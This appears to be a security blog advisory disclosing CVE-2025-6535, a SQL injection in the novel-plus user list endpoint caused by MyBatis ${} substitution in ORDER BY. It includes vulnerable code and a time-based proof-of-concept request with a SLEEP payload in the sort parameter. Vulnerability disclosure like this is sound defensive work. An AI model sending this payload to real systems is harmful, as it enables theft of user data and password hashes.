0xd00 随笔小记

Back

[CVE-2025-6535] SQLI in User ListBlur image

Abstract#

A critical SQL injection vulnerability exists in the user management module. The /list endpoint, which retrieves a list of system users, unsafely uses string substitution (${...}) for the sort and order parameters within its MyBatis ORDER BY clause. This allows any authenticated user who can access this endpoint to execute arbitrary SQL commands. Because the query targets the sys_user table, this flaw can be exploited to exfiltrate highly sensitive information, including usernames, email addresses, and password hashes, compromising all user accounts on the system.

Vulnerability Details#

1. Affected Product Information

  • Product Name: novel-plus

  • Repository URL: https://github.com/201206030/novel-plus

  • Affected Component: novel-admin/src/main/resources/mybatis/system/UserMapper.xml

  • Affected Version: 5.1.3

  • Vulnerability Type: SQL Injection

  • CWE (Common Weakness Enumeration): CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)

    • Affected Code Snippet:

          @GetMapping("/list")
          @ResponseBody
          PageBean list(@RequestParam Map<String, Object> params) {
              // 查询列表数据
              Query query = new Query(params);
              List<UserDO> sysUserList = userService.list(query);   
              int total = userService.count(query);
              PageBean pageUtil = new PageBean(sysUserList, total);
              return pageUtil;
          }
      java
          @Override
          public List<UserDO> list(Map<String, Object> map) {
              String deptId = map.get("deptId").toString();
              if (StringUtils.isNotBlank(deptId)) {
                  Long deptIdl = Long.valueOf(deptId);
                  List<Long> childIds = deptService.listChildrenIds(deptIdl);
                  childIds.add(deptIdl);
                  map.put("deptId", null);
                  map.put("deptIds", childIds);
              }
              return userMapper.listByPerm(map);                   
          }
      java

The vulnerability is located in the UserMapper.xml file. The sort and order parameters, controlled by the user, are directly concatenated into the SQL query, bypassing prepared statement protections.

POC#

GET /sys/user/list?sort=(SELECT(CASE+WHEN(1%3d1)+THEN+SLEEP(5)+ELSE+1+END))&limit=10&offset=0&name=&deptId= HTTP/1.1
http

image-20250613172145257

[CVE-2025-6535] SQLI in User List
https://blog.0xd00.com/blog/sqli-in-user-list-leads-to-sensitive-data-disclosure
Author 0xd00
Published at 2025年6月13日
Comment seems to stuck. Try to refresh?✨